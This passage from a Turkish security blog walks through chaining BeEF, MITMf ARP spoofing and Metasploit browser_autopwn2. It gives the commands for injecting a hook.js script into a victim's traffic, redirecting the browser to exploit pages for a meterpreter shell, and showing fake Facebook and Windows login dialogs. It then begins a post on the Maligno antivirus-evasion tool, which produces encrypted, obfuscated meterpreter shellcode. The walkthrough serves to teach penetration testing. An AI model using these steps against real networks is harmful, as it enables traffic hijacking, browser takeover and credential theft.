<li><span style="font-family: "courier new" , "courier" , monospace;">load msgrpc Pass=abc123</span> </li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFqpaP4VEvakN75fnwDTWbQWeGkcQdawdPAGJJRO8zotRBzFR9BR7U27Zx8yzbu6YkgeSNHmKVh6WhKGJkk6LUBPj4pmrLbaO_FTkzSXfhjlh5w8XIWFuo7eOTq1ji4Dfo24-JKhyltQ/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="125" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFqpaP4VEvakN75fnwDTWbQWeGkcQdawdPAGJJRO8zotRBzFR9BR7U27Zx8yzbu6YkgeSNHmKVh6WhKGJkk6LUBPj4pmrLbaO_FTkzSXfhjlh5w8XIWFuo7eOTq1ji4Dfo24-JKhyltQ/s400/3.png" width="400" /></a></div>
Metasploit, msgrpc modülü default olarak load edildiğinde<b> 127.0.0.1</b> IP ve <b>55552 </b>numaralı port üstünde bağlantıyı başlatmaktadır. Default kullanıcı adı <b>msf</b>, kullanıcı parolası ise <b>random</b> bir şekilde üretilmektedir. Her load sırasında bağlantı için <b>8 haneli karmaşık bir parola</b> rastgele bir şekilde atanmaktadır. Bu yüzden BeEF'in bağlantı sırasında kullanacağı parola olan <b>abc123 </b>veya kendi belirlediğimiz parolayı kullanarak msgrpc modülünü yüklemek için <b>Pass </b>parametresine gerekli değeri vererek yüklemeyi gerçekleştirmesini sağlayabiliriz.
<br />
<br />
<b>BeEF'in çalıştırılması</b>
<br />
<br />
Linux deposunu kullanarak BeEF'i kurmuşsak eğer direkt olarak komut satırından<b> beef-xss</b> diyerek, veyahut uygulamanın bulunduğu klasöre giderek <b>beef </b>isimli ruby scriptini çalıştırmamız gerekmektedir. Resimden anlaşılacağı üzere entegrasyonu sağladığımız için Metasploit modülleride yüklenmiştir.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglbeoqOYuh2E8kGot_8Ljj7JmBR3OSmRxmOEhypF5-Xjw6oCj8stXmJw3r-ghrMnVUHywdYuya6Ea5dtROLEIUqtdchOD9q-VZ2o5eGJjgAfQicjqzgB2mIhfdXnwDlytSArWJPAzkMw/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="372" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglbeoqOYuh2E8kGot_8Ljj7JmBR3OSmRxmOEhypF5-Xjw6oCj8stXmJw3r-ghrMnVUHywdYuya6Ea5dtROLEIUqtdchOD9q-VZ2o5eGJjgAfQicjqzgB2mIhfdXnwDlytSArWJPAzkMw/s640/4.png" width="640" /></a></div>
<br />
Bilgisayarda bulunan tüm network inteface'ler için ayrı ayrı <b>3000. </b>port üzerinden BeEF <b>kontrol </b><b>panelini </b>ve <b>zararlı Js</b> kodunu içeren url çalıştırmaktadır.<br />
Kontrol <b>paneline </b>erişmek için <b>ui/panel</b> ile biten herhangi bir url kullanılabilir.
<a href="http://127.0.0.1:3000/ui/panel">http://127.0.0.1:3000/ui/panel</a> veya <a href="http://192.168.1.42:3000/ui/panel">http://192.168.1.42:3000/ui/panel </a><br />
Üretilen <b>zararlı js kodunu</b> içeren url ise <b>hook.js</b> ile biten adreslerdir.
Yerel ağda kullanmak için, bize ulaşılabilecek bir url'i kullanmamız gerekmektedir.
<a href="http://192.168.1.42:3000/hook.js">http://192.168.1.42:3000/hook.js</a> gibi.<br />
<br />
BeEF kontrol paneline (<a href="http://127.0.0.1:3000/ui/panel">http://127.0.0.1:3000/ui/panel</a>) erişmek istediğimiz zaman gelen giriş ekranında, değiştirmediyseniz eğer, kullanıcı ve parola '<b>beef</b>' dir.
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJxVjWzyDKHdc6aGL48oS8LRSvtsyBKnCSQ0Acdb9j4vSo_fdmTalaTRX_F8dus1juRDa7ijSJ0ORyEoXk7OH4kaq0ZHGeuqF0zJrVqiSucKrTvgP4NW7rHyigoMscJn9TVfq9mLE7tQ/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="308" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJxVjWzyDKHdc6aGL48oS8LRSvtsyBKnCSQ0Acdb9j4vSo_fdmTalaTRX_F8dus1juRDa7ijSJ0ORyEoXk7OH4kaq0ZHGeuqF0zJrVqiSucKrTvgP4NW7rHyigoMscJn9TVfq9mLE7tQ/s400/5.png" width="400" /></a></div>
Giriş ekranından sonra aşağıdaki bir ekran bizi karşılamaktadır.<b> Hooked Browsers</b> alanında js içeren sayfaya gelmiş ve iletişimde olduğumuz IP'leri içerir.<br />
Burada bulunan <b>Online </b>ve <b>Offline Browsers</b> kısımları ise, aktif olan veya bağlantımızın koptuğu kurbanları gösterir. <b> </b><br />
<b>Getting Started</b> sekmesi BeEF hakkında genel bilgiler veren bir ekrandır.<br />
<b>Logs </b>sekmesinde ise yapılan işlemlerin ID'leriyle beraber hangi tipte işlemler olduğu, ne zaman ve hangi kurban browserı üstünde gerçekleştiği gibi bilgileri gösterir.<br />
Zararlı Js bulaştırılan kurbanlar olduktan ve bunları sol taraftaki menüden seçtikten sonra <b>Current Browser</b> sekmesi gelmektedir. Tüm işlemler bu sekme altında gerçekleştirilecektir.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIlUlnf6cOmVLszj5VljRpZRwFZZ3-gxLr3sXYcELazFGjDeOJcq1zfsR0eH1gKsQbha6m-5jfZlrOd2bI3_15peDONYyIWlf8Rh6wb-7IHdXKZcGwJgt1qXiE6b5RKxt07pCb20yslw/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="329" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIlUlnf6cOmVLszj5VljRpZRwFZZ3-gxLr3sXYcELazFGjDeOJcq1zfsR0eH1gKsQbha6m-5jfZlrOd2bI3_15peDONYyIWlf8Rh6wb-7IHdXKZcGwJgt1qXiE6b5RKxt07pCb20yslw/s640/6.png" width="640" /></a></div>
<br />
Bahsi geçen sekmeden bir görüntü aşağıdadır. Genel olarak, kurban ve browser hakkında bilgiler içeren <b>Details </b>sekmesi, seçilen browser üstünde yapılan işlemleri loglayan <b>Logs </b>sekmesi ve en önemlisi olan <b>Commands </b>sekmesi gibi alanları içermektedir. Commands sekmesi üzerinde kurbana karşı yapılacak saldırıların listesi kategorilere ayrılmış halde bulunmaktadır.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhG1XmPo9U9jID8sFduPF1erwqq1Omf6lWmy587z_nVRuKBRwjKPjWz4lfnOAKuioiHZpSXYzAtwULPhoA_c9zNcj3h8aXlsCTMk6_L9kw3xVYPzxbQXyZkk-OU5DZGYB_6y0rD6rmqQg/s1600/7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhG1XmPo9U9jID8sFduPF1erwqq1Omf6lWmy587z_nVRuKBRwjKPjWz4lfnOAKuioiHZpSXYzAtwULPhoA_c9zNcj3h8aXlsCTMk6_L9kw3xVYPzxbQXyZkk-OU5DZGYB_6y0rD6rmqQg/s640/7.png" width="604" /></a></div>
<br />
<b>Saldırı</b><br />
<br />
Geriye kalan aşamaları özetlemek gerekirse; <br />
<ul>
<li>MITMf aracı ile ARP spoofing yapıp, inject modülünü kullanarak zararlı js kodu içeren linki trafiğe gömmek,</li>
<li>Metasploit tarafında browser exploit modülü kullanmak. Biz bunun için browser ile alakalı exploitleri hızlı bir şekilde deneyen, otomatize edilmiş <b>browser_autopwn2</b> modülünü kullanacağız. </li>
<li>BeEF aracılığıyla, iframe veya redirection modülleriyle exploitlerin bulunduğu url'e kurbanı yönlendirmek.</li>
</ul>
Önce MITMf ile ARP spoofing saldırısını gerçekleştirip kurbanın tüm trafiğini üstümüze alalım.
Bunu MITMf ile gerçekleştirmek için aşağıdaki komut girilebilir.<br />
<ul>
<li><span style="font-family: "courier new" , "courier" , monospace;">mitmf --interface wlan0 --target 192.168.1.43 --gateway 192.168.1.1 --arp --spoof --inject --js-url http://192.168.1.42:3000/hook.js
</span></li>
</ul>
Girilen parametreleri açıklamak gerekirse,<br />
<b>interface </b>parametresi, saldırının gerçekleştirileceği network arayüzünü belirtmek için kullanılır.<br />
<b>target </b>parametresi, kurban veya kurbanların IP adreslerini belirtmek için kullanılır. Subnet şeklinde de kullanılabilir bir formatı vardır.
<b> </b><br />
<b>gateway </b>parametresi, trafiğimizi yönlendiren cihazın (router/switch vb) IP adresini belirtmek için kullanılır. ARP spoofing sırasında target parametresiyle kullanılacak olan değerlerdir.<br />
<b>spoof </b>parametresi, Spoofing modülünü kullanacağımız belirtmek için kullanılır.
<b> </b><br />
<b>arp </b>parametresi, spoofing için kullanılacak yöntemi belirtir. Diğer alt modüller: ICMP, DHCP, DNS.
<b> </b><br />
<b>inject </b>parametresi, HTML içeriklerine müdahale eden modülü çalıştırmayı sağlar.
<b> </b><br />
<b>js-url</b> parametresi, HTML içeriğe eklenecek olan ve BeEF tarafından üretilmiş, bizim kurbanın browser'ına müdahale etmemizi sağlayan, Javascript kodu içeren linktir.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmH8hLcuwYkc10UBcggGNww-r4jyHT2VE3LQgAFm-H4zhdQKNcCQMuFe1BCH8G3HcHd8HCx-n8By3IRv6byRYzlknNLD87Ut2-35b-ZYjAvbJFMwVDxAxn-al3WWHV5I3mJy_YzRYaDA/s1600/8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="244" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmH8hLcuwYkc10UBcggGNww-r4jyHT2VE3LQgAFm-H4zhdQKNcCQMuFe1BCH8G3HcHd8HCx-n8By3IRv6byRYzlknNLD87Ut2-35b-ZYjAvbJFMwVDxAxn-al3WWHV5I3mJy_YzRYaDA/s640/8.png" width="640" /></a></div>
<br />
<b>Metasploit Browser Exploitation</b>
<br />
<br />
Saldırıyı başlatıp, kurbanın trafiğini üstümüze aldıktan sonra, sıra Metasploit tarafında browser exploit modüllerini başlatmakta. Bunun için yukarıdaki satırlarda belirttiğimiz gibi <b>browser_autopwn2</b> modülünü kullanacağız. Bu modül, bir önceki versiyonu olan browser_autopwn modülünün optimize edilmiş hali gibi düşünülebilir. Hızlı bir şekilde exploitleri deneyebilir.<br />
Bu modülü Metasploit üstünde kullanabilmek için,<br />
<ul>
<li><span style="font-family: "courier new" , "courier" , monospace;">use auxiliary/server/browser_autopwn2
</span></li>
</ul>
kullanılacak olan modülün hangi parametreleri kullandığına bakmak için,<br />
<ul>
<li><span style="font-family: "courier new" , "courier" , monospace;">show options
</span></li>
</ul>
Resimde görüldüğü üzere değerinin girilmesi şart olan iki parametre vardır ve hali hazırda bunlar kullanılmıştır. Bir önceki versiyonundan farklı olarak <b>INCLUDE_PATTERN <b>ve </b>EXCLUDE_PATTERN</b> parametreleri eklenmiştir.<br />
<br />
Bu parametreler, yüklenecek ve denenecek exploitlerin dahil edilmesi veya hariç bırakılması manasına gelmektedir. Örneğin sadece <b>java</b>, <b>flash, opera</b> veya <b>firefox</b> exploitlerini dene veyahut tam tersi bunları veya bunlardan birilerini hiç deneme gibi.<br />
<br />
Girilmesi zorunlu olmayan fakat oluşturulacak exploitlerin bulunduğu url'i etkileyen <b>URIPATH </b>parametresine<b> /pwned</b> gibi bir uzantı veriyorum. Bu sayede oluşturulacak url /RandomKarakter formatında olmayacak ve girilen şekilde olacaktır. Bunların dışında pek bir değişikliğe gerek yoktur. <b>Exploit</b> veya <b>run</b> diyerek modülün exploitleri düzenleyip, server'ı başlatıp, oluşturulan url'i vermesini sağlayabiliriz.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEin-WwiulBR-stVv_mhFKVuo2y5V_fYiYsMmW1Z5IKoA1nlTlur6jkGfKmxlUnmN-YUx0Bhay2euBcWAqfThTvPx5fiJZWmdgQ2J1i65D4Vo-7qmGHEHBUUzGe4nKl19bttIiLrJKNOAg/s1600/9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="318" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEin-WwiulBR-stVv_mhFKVuo2y5V_fYiYsMmW1Z5IKoA1nlTlur6jkGfKmxlUnmN-YUx0Bhay2euBcWAqfThTvPx5fiJZWmdgQ2J1i65D4Vo-7qmGHEHBUUzGe4nKl19bttIiLrJKNOAg/s640/9.png" width="640" /></a></div>
<br />
Modüller derecelerine ve yayınlanma tarihlerine göre belli bir sıraya sokulduktan sonra payloadlarıyla beraber yüklenerek zararlı URL oluşturulur. Görüldüğü üzere oluşturulan url, URIPATH parametresiyle verdiğimiz formatta oluşturulmuştur.<br />
<ul>
<li><a href="http://192.168.1.42:8080/pwned">http://192.168.1.42:8080/pwned</a>
</li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwGyRMLcjBEhLExPnkPX_MyWsOuVAOTwz7LJ73XDNeVp3enlgm2QSVhyI0iyFQx1BYOB-uZNmWwlr9UhbsESJXEI9_vs_D5AXPvcrwkYx8NBIusJQZBw177KRU5uEzFybABlYXAlK-ZA/s1600/9_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="411" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwGyRMLcjBEhLExPnkPX_MyWsOuVAOTwz7LJ73XDNeVp3enlgm2QSVhyI0iyFQx1BYOB-uZNmWwlr9UhbsESJXEI9_vs_D5AXPvcrwkYx8NBIusJQZBw177KRU5uEzFybABlYXAlK-ZA/s640/9_1.png" width="640" /></a></div>
<br />
<b>BeEF </b><br />
Kurbanın ziyaret ettiği sayfalara MITMf tarafından zararlı js linki enjekte edilmektedir. Kurbanın <a href="http://www.skype.com/">www.skype.com</a> veya <a href="http://www.msn.com/">www.msn.com</a> veyahut herhangi bir sayfayı ziyaret ettiği varsayılırsa, MITMf ile girdiğimiz komutun sonunda ekranda oluşacak görüntü aşağıdaki gibidir;<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcDP0XEi-9KzWUVvwXiqJk3EwDZLEsiWRD9VdIFiEzbGSrBxW_VTO3qQ0vHLd30boU_kxE7hl08u-6uk-9HBSKCpR0HIiVkVWNcXdvl-RmdethX8TFBt1WE10GiEglzN-QB67WsnCFNA/s1600/10.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="160" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcDP0XEi-9KzWUVvwXiqJk3EwDZLEsiWRD9VdIFiEzbGSrBxW_VTO3qQ0vHLd30boU_kxE7hl08u-6uk-9HBSKCpR0HIiVkVWNcXdvl-RmdethX8TFBt1WE10GiEglzN-QB67WsnCFNA/s640/10.png" width="640" /></a></div>
<br />
Resimden de anlaşılacağı üzere zararlı, HTML sayfada enjekte edilmiştir. Peki MITMf tarafında bu olurken BeEF tarafında ne olmaktadır? BeEF'i başlattığımız terminal ekranına baktığımızda ise zararlı js'in işini başarıyla yaptığı görülecektir. Enjekte edilen browser, BeEF tarafında Hooked olarak geçmektedir.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdMSgi4btDkWWt9BV4xeyYxzMEJ9n4VIWjPv0z9oCp-KX62lUoKtCJ2oPGMNWz5c8vsSU_iKUp935OQn9AF5aNLrSsA0JZNAT4ttDHyY5KLnOi_9hUfkDtrpazu398RVnyXPIpHB4TrQ/s1600/10_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="13" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdMSgi4btDkWWt9BV4xeyYxzMEJ9n4VIWjPv0z9oCp-KX62lUoKtCJ2oPGMNWz5c8vsSU_iKUp935OQn9AF5aNLrSsA0JZNAT4ttDHyY5KLnOi_9hUfkDtrpazu398RVnyXPIpHB4TrQ/s640/10_1.png" width="640" /></a></div>
<br />
<b>Shell</b>
<br />
<br />
BeEF kontrol panelinde gördüğümüz üzere<b> Hooked Browsers</b> alanında bulunan <b>Online Browsers</b> kısmına kurbanın bağlantısı gelmiştir. Üzerine tıkladığımız vakit sağ taraftaki sekmelerin yanına işlemleri gerçekleştireceğimiz<b> Current Browser</b> sekmesi gelecektir. Modüller arasında yapılabilecek çok sayıda saldırı vardır. Kurban bilgisayarı hakkında bilgi almaktan, bulunulan network için port taraması yaptırmak, hangi uygulamaları kullandığını öğrenmek, webcam üzerinden görüntü almak, sosyal mühendislik saldırıları gerçekleştirmek gibi saldırıları gerçekleştirmek için gereken yüzlerce modül vardır.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGedx05eKUQJllHvo8CRn5HCvwru1D-gwtHvprm-cwUDWTRuHjJYh4Ctlys2j9mclpA7UrHsIXWPci5wcbzAQHFbH7vYeqt93Znl6F7cYA995aFyrtaoPIGPhq7nklNKEDctcItaUSGg/s1600/11.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="290" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGedx05eKUQJllHvo8CRn5HCvwru1D-gwtHvprm-cwUDWTRuHjJYh4Ctlys2j9mclpA7UrHsIXWPci5wcbzAQHFbH7vYeqt93Znl6F7cYA995aFyrtaoPIGPhq7nklNKEDctcItaUSGg/s640/11.png" width="640" /></a></div>
<br />
<b>Shell – invisible iframe</b><br />
<br />
Amacımız kurbanı, Metasploit tarafında oluşturduğumuz exploitleri içeren sayfaya yönlendirmek. Bu iş için kullanabileceğimiz modüllerden biri olan ve <b>Misc </b>modül ağacının altında bulunan <b>Create Invisible Iframe </b>modülünü kullanacağız. Ardından aynı işi farklı bir modül olan <b>Redirect Browser (iFrame)</b> ile nasıl gerçekleştirileceğini göreceğiz.<br />
<br />
Invisible iframe modülünü açtıktan sonra resimde görüldüğü üzere tek bir parametre vardır ve bu oluşturulacak iframe içinde yönlendirilecek URL adresidir. Bu adrese Metasploit tarafında oluşturduğumuz <a href="http://192.168.1.42:8080/pwned">http://192.168.1.42:8080/pwned</a> linkini yerleştirip Sağ alt köşede bulunan Execute komutuyla çalışmasını bekliyoruz.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio5PrjupqupwJmLcptGnYdYtQ_W2rfkBL-HccUcOtSuefO55GJrGpc3kltdmL4ZcsARVdt2UyfNserfm6jRiRMhjtmIQpY4uZwvCBANtkkJUPuayJTqXG7vKQ7u-VX-4P1_m7TV7pPdA/s1600/12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="242" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio5PrjupqupwJmLcptGnYdYtQ_W2rfkBL-HccUcOtSuefO55GJrGpc3kltdmL4ZcsARVdt2UyfNserfm6jRiRMhjtmIQpY4uZwvCBANtkkJUPuayJTqXG7vKQ7u-VX-4P1_m7TV7pPdA/s640/12.png" width="640" /></a></div>
<br />
Kısa bir sürenin ardından Metasploit tarafındaki bağlantıya istek gelecek, ardından exploitler test edilmeye başlanacaktır. Başarılı olması halinde oluşturulan exploite uygun olarak ayarlanmış payload için session oluşacaktır. Elde ettiğimiz shell görüldüğü üzere meterpreter shell'dir.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZRMKVeeStUBUglytllcwJ22SFuHTruAXpMKEjxrOnv-hNq5PhxgFTPVqCc1UN_jFtjuknKQB027NVOV6BNstms4i9A-VBEyBQZ7BP5OxoUWCpDH56mRfKcAdNBP9PR1Jnn1SZVQqi_Q/s1600/13.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="354" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZRMKVeeStUBUglytllcwJ22SFuHTruAXpMKEjxrOnv-hNq5PhxgFTPVqCc1UN_jFtjuknKQB027NVOV6BNstms4i9A-VBEyBQZ7BP5OxoUWCpDH56mRfKcAdNBP9PR1Jnn1SZVQqi_Q/s640/13.png" width="640" /></a></div>
<br />
<b>Shell – Redirect Browser (iFrame)</b>
<br />
<br />
Bu modül, Browser modül ağacının altında bulunan <b>Hooked Domain</b> modüllerinin içerisinde yer almaktadır. Kullanılacak modül, kurbanın browser'ında bulunan sayfadaki url üzerinde herhangi bir değişiklik yapmadan, sayfanın <b>Title</b> ve <b>icon</b> özelliklerini istediğimiz şekilde değiştirip yönlendirme yapmaktadır. Benzer şekilde iframe kullanmadan yönlendirme yapan <b>Redirect Browser</b> modülü de kullanılabilir.<br />
Burada bulunan bazı parametreleri açıklamak gerekirse;<br />
<b>New Title:</b> Yönlendirme sonunda oluşacak sayfanın başlığı.<br />
<b>New Favicon:</b> Yönlendirme sonunad oluşacak sayfanın ikonu.<br />
<b>Redirect URL: </b>Yönlendirilecek adres. Burada verilecek adres Metasploit tarafında oluşturduğumuz exploitlerin olduğu URL'dir.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8che0IB6D29OFdRbvRuFwa55vzMaXl1inRXOu_XYWVZXyLWjea5FggJXG-M5JZkzQDIhsU7lJZrH1qk4l954hyphenhyphen6StJxOoZvoTEVCuT_OVzfdtFsE-LB7O-0su16wLjhjyHT9xhjPOPQ/s1600/14.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="244" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8che0IB6D29OFdRbvRuFwa55vzMaXl1inRXOu_XYWVZXyLWjea5FggJXG-M5JZkzQDIhsU7lJZrH1qk4l954hyphenhyphen6StJxOoZvoTEVCuT_OVzfdtFsE-LB7O-0su16wLjhjyHT9xhjPOPQ/s640/14.png" width="640" /></a></div>
<br />
Yönlendirme sonunda browser'da şöyle bir görüntü oluşacaktır. Modülü çalıştırmadan evvel girdiğimiz değerler, browser'da Hooklanmış sayfaya girdiğimiz şekilde yansımıştır.
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ6CfOyfoDAfxvHdbDon1u7hG68RetJ9KEJe8q255pO_m6JfhWiQQZkwDcerJXFevq0yRAzRFaecf_Ywcl-DaHd9IE_2GuCtLGFFmi7AiBQlJXXwA-jRXPecZ4dPDNP83EhT09cCEiCw/s1600/14_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZ6CfOyfoDAfxvHdbDon1u7hG68RetJ9KEJe8q255pO_m6JfhWiQQZkwDcerJXFevq0yRAzRFaecf_Ywcl-DaHd9IE_2GuCtLGFFmi7AiBQlJXXwA-jRXPecZ4dPDNP83EhT09cCEiCw/s1600/14_1.png" /></a></div>
Kısa bir sürenin ardından Metasploit tarafındaki bağlantıya istek gelecek, ardından exploitler test edilmeye başlanacaktır. Başarılı olması halinde oluşturulan exploite uygun olarak ayarlanmış payload için session oluşacaktır. Elde ettiğimiz shell görüldüğü üzere meterpreter shell'dir.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfxIfY6f3lnTkEBrj0Qzg0g-cDlhdzSo8d5TUMoG4pfXCXbPL5j8PB_NPZmPl0-7Kpuh9M2jAw9v2qZz0jq8x2CrlW77ZcXYeL9tpJpfnGH35R0-UgYDetVpOG74UIbmahy8JPoEQI8g/s1600/14_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="344" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhfxIfY6f3lnTkEBrj0Qzg0g-cDlhdzSo8d5TUMoG4pfXCXbPL5j8PB_NPZmPl0-7Kpuh9M2jAw9v2qZz0jq8x2CrlW77ZcXYeL9tpJpfnGH35R0-UgYDetVpOG74UIbmahy8JPoEQI8g/s640/14_2.png" width="640" /></a></div>
<br />
Daha önce söylediğimiz üzere BeEF üzerinde çok sayıda modül vardır. Bu modüller ile örnekte yaptığımız gibi yönlendirme yapıp shell açabileceğimiz gibi, Fake update bildirimleri de çıkararak oluşturacağımız arka kapıyı kurbanların indirmelerini sağlayıp shell açabiliriz. İstediğimiz herhangi bir Javascript kodunu çalıştırabiliriz. Hooklanmış sayfada fake bir login ekranı gösterip kullanıcının giriş bilgilerini elde edilebiliriz.
<br />
<br />
Örnek olarak <b>Social Engineering</b> modül ağacı altında bulunan <b>Pretty Theft </b>modülü kullanılarak <b>Facebook</b>, <b>LinkedIn</b>, <b>Windows</b>, <b>Youtube</b> gibi yerler için bilgiler alınabilir.<br />
Aşağıda Facebook ve Windows seçenekleri için modülün uygulanması sonucu sayfada gösterilen dialogların görüntüleri verilmiştir. <br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1oDR-j51I7PM7XfJACYU5EzHgtiVjpcHtbYl43a4VKmu4JYJAR6ClF2763-Aflf57L755z-jDB781ZKXZTQFvMKzbmSdPdsrNovWgbK4GYsl_FJK2Ol6epVFs_R51amC3aWzZe9CI7Q/s1600/16.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="204" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1oDR-j51I7PM7XfJACYU5EzHgtiVjpcHtbYl43a4VKmu4JYJAR6ClF2763-Aflf57L755z-jDB781ZKXZTQFvMKzbmSdPdsrNovWgbK4GYsl_FJK2Ol6epVFs_R51amC3aWzZe9CI7Q/s640/16.PNG" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<span id="goog_1276885090"></span>Yunus YILDIRIMhttp://www.blogger.com/profile/09141970922985921246noreply@blogger.com0tag:blogger.com,1999:blog-4536086478290117322.post-75042001778310924662015-11-20T12:04:00.000-08:002015-11-20T12:04:18.754-08:00Anti-Virus Atlatma - Maligno<div style="text-align: left;">
Anti-virüs bypass yazı dizisinin başka bir bölümü olan <b>Maligno </b>aracını anlatan yazı ile devam edeceğiz.
</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Maligno, <a href="https://www.encripto.no/en/home/" target="_blank">Encripto </a>tarafından, python diliyle yazılmış ve open-source olarak geliştirilen, Metasploit framework'ün payload/shellcode üretme aracı olan <b>msfvenom</b>'u kullanarak, <b>meterpreter reverse http, https ve https proxy</b> ile beraber <b>pyton meterpreter reverse tcp</b> bağlantılarını sağlayacak olan shellcode'ları üreterek <b>AES </b>ile şifreleyip ayrıca ürettiği python çıktısını <b>obfuscate </b>edip kullanıma hazır hale getirmektedir.
</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<b>Kurulum</b>
</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Yazı süresince yapılan işlemlerde <b>Kali linux</b> işletim sistemi kullanılmıştır. Maligno'nun son sürümü <a href="https://www.encripto.no/nb/downloads/tools/" target="_blank">dowload </a>sayfasından indirilebilir.</div>
<ul>
<li><span style="font-family: "courier new" , "courier" , monospace;">wget https://www.encripto.no/tools/maligno-2.4.tar.gz</span></li>
<span style="font-family: "courier new" , "courier" , monospace;">
</span>
<li><span style="font-family: "courier new" , "courier" , monospace;">tar zxvf maligno-2.4.tar.gz # sıkıştırılmış dosya açılıyor </span></li>
<span style="font-family: "courier new" , "courier" , monospace;">
</span>
<li><span style="font-family: "courier new" , "courier" , monospace;">cd maligno-2.4/ && bash install.sh <a name='more'></a></span></li>
</ul>
Çalıştırılan bash script sistem güncellemesini yaptıktan sonra, gerekli paketleri yükleyecektir. Bundan sonra şifreleme için kullanılacak olan anahtar üretilmeye başlanacaktır. İlk olarak özel anahtarımız 2048 bitlik RSA ile üretilecek, ardından server için üretilecek olan ssl sertifikası için gerekli kısa bir kaç soruya yanıt vermemiz beklenmektedir. Bunların sonunda işlemler bitmiş olacak ve konfigürasyon dosyasını güncellememiz gerekecektir.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
